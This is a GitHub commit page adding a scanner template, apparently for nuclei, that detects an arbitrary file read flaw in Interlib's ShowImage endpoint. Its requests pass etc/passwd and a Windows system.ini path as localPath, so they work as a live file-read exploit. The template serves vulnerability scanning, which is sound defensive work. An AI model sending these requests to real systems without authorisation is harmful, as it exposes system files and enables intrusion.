Merge pull request #1622 from pikpikcu/patch-177

Create interlib-fileread
patch-1
Sandeep Singh 2021-06-04 21:37:23 +05:30 committed by GitHub
commit 29e706d101
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 27 additions and 0 deletions

View File

@ -0,0 +1,27 @@
id: interlib-fileread
info:
name: Interlib Fileread
author: pikpikcu
severity: high
reference: https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%9B%BE%E5%88%9B%E8%BD%AF%E4%BB%B6/%E5%9B%BE%E5%88%9B%E8%BD%AF%E4%BB%B6%20%E5%9B%BE%E4%B9%A6%E9%A6%86%E7%AB%99%E7%BE%A4%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
tags: interlib,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/interlib/report/ShowImage?localPath=etc/passwd"
- "{{BaseURL}}/interlib/report/ShowImage?localPath=C:\\Windows\\system.ini"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- "for 16-bit app support"
condition: or
- type: status
status:
- 200